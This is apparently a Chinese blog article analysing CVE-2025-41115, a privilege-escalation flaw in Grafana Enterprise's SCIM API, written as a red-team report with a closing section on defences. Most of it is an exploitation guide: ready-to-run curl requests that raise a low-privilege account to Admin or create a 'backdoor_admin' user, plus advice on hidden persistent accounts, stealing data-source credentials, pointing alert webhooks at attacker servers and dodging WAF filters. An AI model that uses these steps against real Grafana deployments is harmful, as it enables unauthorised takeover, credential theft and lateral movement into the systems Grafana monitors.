当前位置：首页 > news >正文

Grafana企业版SCIM API权限提升漏洞CVE-2025-41115分析与实战利用

news 2026/7/16 9:36:17

1. 项目概述：一次针对企业监控系统的内部渗透测试

最近在复盘一次内部红队演练时，遇到了一个非常典型的场景：目标公司使用了Grafana企业版作为其核心的业务监控与可视化平台。这类平台通常部署在内网，承载着服务器性能、应用日志、业务指标等大量敏感数据，一旦失守，攻击者不仅能窃取数据，还可能以此为跳板，横向移动至更核心的系统。我们最初的入口点只是一个低权限的普通用户账号，但最终通过一个名为CVE-2025-41115的漏洞，成功实现了权限提升，获得了对整个Grafana实例的管理员控制权。这个漏洞的核心在于Grafana企业版中一个名为SCIM（跨域身份管理系统）的API接口存在逻辑缺陷，允许低权限用户执行本应只有管理员才能操作的高危动作。

Grafana本身是一个开源的、功能强大的数据可视化与分析平台，广泛应用于IT运维、业务监控等领域。其企业版提供了更多高级功能，SCIM就是其中之一，它主要用于与企业级的身份提供商（如Okta, Azure AD）集成，实现用户的自动化同步与管理。简单来说，SCIM API就是Grafana用来“听命令”从外部系统创建、修改或禁用用户的接口。而CVE-2025-41115的致命之处在于，它没有对这个接口的调用者身份进行严格的二次校验，导致任何通过了Grafana基础认证（哪怕只是一个Viewer只读角色）的用户，都能向这个API发送恶意请求，从而将自己或其他用户的权限提升至最高级别的Grafana管理员（Admin）。

这听起来可能有些抽象，我打个比方：想象一下公司的门禁系统（Grafana）。普通员工（低权限用户）刷卡可以进入办公区（访问仪表盘），但无法进入机房（管理员后台）。SCIM接口就像是后勤部门的一个远程控制台，理论上只有后勤主管（外部身份系统）有权限通过这个控制台添加一个拥有机房钥匙的新员工。但这个漏洞相当于在办公区的公共电脑上，留下了一个可以模拟后勤主管向控制台发送指令的按钮，任何路过的员工按一下，就能给自己生成一把机房的万能钥匙。接下来，我将详细拆解这个漏洞的成因、我们的利用过程，以及在实际环境中如何检测和防御。

2. 漏洞原理深度解析：SCIM API的信任边界崩塌

要理解CVE-2025-41115，我们必须先搞明白Grafana的权限体系和SCIM的工作机制。这对于后续的漏洞利用和防御都至关重要。

2.1 Grafana权限模型与SCIM的角色

在Grafana中，用户角色主要分为几个层级：

Viewer（查看者）：只能查看仪表盘和面板，不能做任何修改。
Editor（编辑者）：可以查看和编辑仪表盘。
Admin（管理员）：拥有实例的最高权限，包括管理用户、组织、数据源、插件等。

而SCIM（System for Cross-domain Identity Management）是一个开放标准，旨在简化云应用和服务中的用户身份管理。在企业版Grafana中，管理员可以配置一个SCIM令牌，并提供一个API端点（通常是/api/scim/v2/）。当外部的身份提供商（如Okta）需要同步一个用户到Grafana时，它会使用这个令牌对请求进行认证，然后向SCIM API发送一个符合SCIM标准的JSON请求，Grafana就会根据请求内容创建或更新相应用户。

这里的关键在于认证与授权的分离：

认证（Authentication）：SCIM API依赖一个预共享的Bearer令牌来验证请求是否来自“被信任的”外部系统。这个令牌是在Grafana管理后台配置的，任何知道该令牌的客户端都可以通过认证。
授权（Authorization）：在早期的安全设计里，开发者可能认为“能通过SCIM令牌认证的，就一定是有权管理用户的管理员（外部系统）”。因此，API在处理请求时，可能省略了对执行操作的具体用户（在Grafana内部的上下文）进行权限检查的步骤。

2.2 CVE-2025-41115的核心缺陷

漏洞就出现在上述的“可能省略”这一步。在受影响的Grafana企业版版本（根据披露，主要是特定版本范围）中，其SCIM API的实现存在一个逻辑缺陷：

当Grafana实例同时启用了基于密码或LDAP等的内部用户登录，并且SCIM功能也被启用时，低权限的本地用户可以通过构造特定的HTTP请求，直接调用本应只接受令牌认证的SCIM API端点，并且利用API逻辑绕过权限检查，实现特权操作。

更具体的技术点在于请求的“身份混淆”。一种典型的利用路径是：

攻击者以一个低权限（如Viewer）的本地用户身份登录Grafana，获得了一个有效的会话Cookie。
攻击者直接向/api/scim/v2/Users端点发送一个POST请求，请求体中包含精心构造的SCIM格式数据，意图创建一个新用户或将现有用户的角色属性修改为“Admin”。
由于代码逻辑缺陷，服务端在处理该请求时，错误地将攻击者已认证的本地用户会话（低权限）与SCIM令牌应有的特权上下文关联起来，或者完全跳过了对“当前操作者是否有权执行SCIM操作”的校验。
服务器仅校验了请求格式是否符合SCIM标准，并执行了更新操作，导致权限提升成功。

注意：这里需要区分的是，攻击者并非盗取了SCIM管理员令牌。而是利用了Grafana在同时处理普通Web会话请求和SCIM API请求时，身份验证和授权上下文切换不清的Bug。这属于一个典型的“身份混淆”或“权限上下文绕过”漏洞。

2.3 受影响的版本与环境

根据漏洞披露信息，CVE-2025-41115主要影响启用了企业版SCIM功能的Grafana实例。虽然具体版本号需参考官方安全公告，但这类逻辑漏洞通常存在于多个连续版本中。在实战中，一旦发现目标使用Grafana企业版，并且其登录界面或API提示支持SCIM，就需要将其列为高危可疑目标。

3. 漏洞利用实践：从低权限用户到系统管理员

在理解了原理之后，我们来看看如何在实际渗透测试中利用这个漏洞。整个过程可以清晰地分为信息收集、漏洞验证和权限提升三个步骤。

3.1 前期信息收集与目标识别

首先，我们需要确认目标是否存在可利用的条件。

识别Grafana企业版：访问目标Grafana实例的登录页面。通常，在页面底部或登录框附近会有版本信息。企业版可能会有“Enterprise”字样，或者通过一些特定的API端点（如/api/licensing/check）可以获取信息。我们也可以尝试访问/api/health端点，它可能会返回版本信息。
```
# 使用curl进行基本信息收集 curl -k -s https://target-grafana.com/api/health | jq .
```
观察返回信息中是否包含"enterprise"或相关标识。
探测SCIM功能是否启用：直接访问SCIM API端点。如果端点存在且未返回404，则说明SCIM功能可能已配置。
```
# 探测SCIM v2 API根路径 curl -k -i https://target-grafana.com/api/scim/v2/ # 如果返回401 Unauthorized或405 Method Not Allowed，而非404，则说明该路径存在。
```
一个更隐蔽的方法是检查Grafana的配置文件或前端JavaScript中是否包含“scim”关键词，但这通常需要更深入的访问权限。
获取一个低权限账户：这是利用的前提。可以通过社会工程学、弱口令爆破（针对常见默认账号如admin/admin）、或从其他已攻破的系统获取凭证等方式获得一个Viewer或Editor权限的账号。

3.2 构造漏洞利用请求

假设我们已经获得了一个低权限用户的账号密码lowpriv:password。以下是利用漏洞将自己提升为管理员的核心步骤：

步骤一：获取有效会话首先，我们需要用低权限账号登录，获取一个有效的会话Cookie（通常是grafana_session）。

# 使用curl模拟登录，保存Cookie curl -k -c cookies.txt -d '{"user":"lowpriv", "password":"password"}' \ -H "Content-Type: application/json" \ https://target-grafana.com/login # 注意：Grafana的登录API端点可能不是简单的/login，可能是/api/login。需要根据实际情况调整。 # 更通用的方法是，用浏览器登录后从开发者工具中复制Cookie值。

步骤二：构造恶意SCIM请求这是最关键的一步。我们需要向创建用户（/Users）或更新用户（/Users/<id>）的SCIM端点发送一个PATCH或POST请求。请求体必须遵循SCIM 2.0的JSON格式，并在其中指定高权限角色。

场景A：尝试提升现有用户（自己）的权限这需要知道自己的用户ID（通常可以从/api/user端点获取）。然后发送一个PATCH请求，修改角色的value为Admin。

# 假设自己的用户ID是 10 USER_ID="10" curl -k -b cookies.txt -X PATCH \ -H "Content-Type: application/scim+json" \ -d '{ "schemas": ["urn:ietf:params:scim:api:messages:2.0:PatchOp"], "Operations": [{ "op": "replace", "path": "roles", "value": [{"value": "Admin", "primary": true}] }] }' \ "https://target-grafana.com/api/scim/v2/Users/$USER_ID"

场景B：尝试创建一个新的管理员用户如果不知道ID，或者想创建一个隐蔽的后门账号，可以尝试POST请求。

curl -k -b cookies.txt -X POST \ -H "Content-Type: application/scim+json" \ -d '{ "schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"], "userName": "backdoor_admin", "emails": [{"primary": true, "value": "backdoor@example.com", "type": "work"}], "displayName": "Backdoor User", "roles": [{"value": "Admin", "primary": true}] }' \ "https://target-grafana.com/api/scim/v2/Users"

实操心得：在实际测试中，Content-Type头部非常关键。必须设置为application/scim+json或application/json，否则服务器可能无法正确解析请求体。此外，SCIM标准的字段名（如userName,emails）是大小写敏感的，必须严格按照标准格式构造。

3.3 验证利用结果

发送请求后，我们需要验证是否成功。

检查HTTP响应码：如果返回200 OK或201 Created，并且响应体中包含了修改后的用户信息，且角色显示为Admin，那么成功率就很高。
登录验证：使用被提升权限的账号（或新创建的后门账号）重新登录Grafana。
访问管理页面：尝试访问只有管理员才能进入的页面，如/admin/users、/admin/settings或/plugins。如果能够正常加载并显示所有用户列表或系统配置，则证明权限提升成功。
API验证：调用管理员API，如curl -k -b admin_cookies.txt https://target-grafana.com/api/org/users，查看是否能列出所有组织用户。

4. 漏洞利用的深入技巧与高级场景

在基本利用成功的基础上，我们可以探索一些更深入的操作，这些操作在真实的红队评估中能带来更大的战术价值。

4.1 利用漏洞进行横向移动与信息收集

获得Grafana管理员权限远不止是控制一个面板系统那么简单。Grafana通常连接着多个数据源（Data Source），如Prometheus、Elasticsearch、Loki、MySQL、PostgreSQL等，其中可能包含大量敏感信息。

窃取数据源凭证：在Grafana管理界面 (/datasources) 中，管理员可以查看和编辑所有配置的数据源。虽然密码字段通常被加密或隐藏，但在某些配置下或通过某些API，可能能获取到连接数据库或其他系统的明文密码或令牌。这为横向移动到更核心的监控系统、日志系统或数据库打开了大门。
查看仪表盘与查询：许多业务指标和运维查询直接写在Grafana面板的查询语句中。这些查询可能包含数据库表名、字段名、内部系统域名、IP地址等基础设施信息，是绘制内网地图的宝贵情报。
利用Alert Webhook：Grafana的告警规则可以配置Webhook通知。管理员可以修改这些Webhook地址，将其指向攻击者控制的服务器，从而在触发告警时收到HTTP回调，这可能泄露系统状态甚至触发其他漏洞。

4.2 权限维持与隐蔽后门

为了防止权限被管理员发现并收回，我们需要建立隐蔽的持久化通道。

创建隐蔽服务账户：不要使用明显的用户名如backdoor_admin。可以创建一个看起来像正常服务账户的用户，例如monitoring_svc或grafana_sync，并赋予其Admin角色。将其邮箱设置为一个不存在的或攻击者可控的邮箱。
利用Service Account：新版本的Grafana支持服务账户（Service Accounts）。我们可以创建一个具有Admin权限的服务账户，并获取其长期有效的API令牌。这个令牌可以用于脚本化操作，比用户密码更隐蔽、更稳定。
- 通过管理员UI创建服务账户并分配角色。
- 通过API创建令牌：POST /api/serviceaccounts/{serviceAccountId}/tokens。
修改现有高权限用户：如果环境中有不常登录的管理员账号，可以尝试修改其密码或API密钥（如果配置允许），然后使用该身份活动，嫁祸于人，增加排查难度。

4.3 绕过可能的WAF或输入校验

在实际网络中，目标系统前方可能有Web应用防火墙（WAF）或简单的输入校验。

混淆请求路径：尝试URL编码、双重编码路径中的特定字符，或者添加多余的斜杠 (/api//scim/v2//Users)。
变换HTTP方法：如果PATCH方法被拦截，可以尝试使用POST或PUT方法，并调整请求体结构。SCIM标准支持多种操作，需要测试目标实现的具体兼容性。
修改Content-Type：在application/scim+json和application/json之间切换测试。
分割请求：在某些复杂场景下，可以尝试先发送一个合法的、无害的SCIM请求探测，再发送恶意请求。

5. 防御措施与安全加固建议

作为防御方或安全运维人员，了解攻击手法后，更重要的是如何防护。以下是从不同角度给出的加固建议。

5.1 紧急处置与漏洞修复

立即升级：这是最根本的解决方案。关注Grafana官方安全公告，将企业版Grafana升级到已修复该漏洞的最新版本。Grafana官方在漏洞披露后会迅速发布补丁版本。
临时缓解措施：如果无法立即升级，可以考虑以下方案：
- 禁用SCIM功能：如果不依赖SCIM进行用户同步，直接在Grafana配置文件中禁用此功能。检查配置文件（如grafana.ini）中[auth.scim]部分，确保enabled = false。
- 网络层隔离：在防火墙或负载均衡器上，对/api/scim/v2/路径的访问进行严格限制。只允许来自可信的、企业身份提供商（IdP）IP地址的流量访问该端点，阻断所有其他来源的请求。
- 启用角色权限管理：检查并确保Grafana的权限设置中没有意外的宽松配置。但此漏洞是绕过校验，仅靠配置可能无法完全阻止。

5.2 长期安全架构优化

实施最小权限原则：定期审计Grafana中的所有用户账户，确保没有用户拥有超出其职责所需的权限。特别是查看是否有普通用户被误分配了Admin角色。
加强认证与审计：
- 启用多因素认证（MFA），尤其对所有管理员账户。
- 启用Grafana的详细审计日志功能，记录所有用户管理操作、数据源配置更改、仪表盘修改等关键事件。定期审查日志，关注异常的管理员权限变更或SCIM API调用。
- 将审计日志发送到中央的SIEM（安全信息与事件管理）系统进行关联分析。
保护数据源凭证：
- 尽可能为Grafana使用的数据源创建专属的、权限最低的数据库用户或服务账号。
- 定期轮换这些凭证。
- 考虑使用秘密管理工具（如HashiCorp Vault）来动态提供数据库密码，而不是在Grafana中静态配置。
网络与主机层防护：
- 将Grafana部署在内网，并通过反向代理（如Nginx, Apache）对外暴露，在反向代理层实施额外的安全策略（如速率限制、更严格的路径过滤）。
- 确保Grafana服务器本身的操作系统、容器镜像等及时打补丁。
- 考虑对Grafana的访问实施零信任网络策略，仅允许来自特定工作站的访问。

5.3 安全监控与检测规则

可以部署以下检测规则，以便在遭受攻击或进行内部威胁狩猎时及时发现异常：

检测点1：异常SCIM API调用：监控对/api/scim/v2/Users的PATCH或POST请求，特别是当源IP地址不属于已知的身份提供商IP段，且请求用户为非管理员角色时，应立即产生高危告警。
检测点2：用户权限异常变更：监控Grafana审计日志或数据库，查找在短时间内用户角色从Viewer/Editor变更为Admin的事件。
检测点3：来自非管理页面的管理操作：分析日志，检查是否有非管理员界面（如普通仪表盘查看页面）发起了用户管理或系统配置相关的API调用。

6. 渗透测试中的思考与总结

回顾整个CVE-2025-41115的利用过程，它再次印证了现代应用安全中的一个经典问题：在复杂的集成和功能叠加中，信任边界极易变得模糊。Grafana的SCIM功能本意是为了方便管理，却因为内部身份上下文切换的疏忽，打开了特权升级的大门。

在实战中，这类漏洞的利用往往不是孤立的。它通常是我们攻击链中的一环。我们可能先通过一个暴露在公网的、存在弱口令的Grafana登录界面获得初始立足点（一个低权限账号），然后利用此漏洞获得管理员权限，接着从数据源配置中提取数据库凭证，最终渗透到核心数据区。整个链条凸显了纵深防御的重要性——任何一个环节的松懈都可能导致全线溃败。

对于防御者而言，这个案例的教训是深刻的：

不要忽视“内部”接口的安全：像SCIM API这种主要供后端系统调用的接口，往往被认为攻击面较小，从而在权限校验上可能偷懒。必须对所有API端点，无论内外，实施统一的、基于角色的访问控制（RBAC）。
默认安全配置：在可能的情况下，高级功能（如企业版SCIM）应默认关闭，由管理员在明确了解风险后手动开启。
持续威胁暴露面管理：定期对资产进行扫描和渗透测试，特别要关注那些集成了多个外部系统的平台，检查其配置和版本是否存在已知漏洞。

最后，对于安全研究人员和渗透测试员，这个漏洞的挖掘过程也提示我们，在代码审计或黑盒测试时，要特别关注那些处理“外部系统信任”的逻辑点。任何接受令牌、密钥进行认证，并执行特权操作的接口，都需要仔细审查其是否在最终执行操作前，再次确认了在当前用户会话上下文下的授权。这种“双重校验”机制的缺失，是许多逻辑漏洞的根源。在测试时，可以尝试用低权限会话去直接访问那些看似需要特殊令牌的API端点，有时会有意想不到的收获。

查看全文

http://www.cnnetsun.cn/news/3418996.html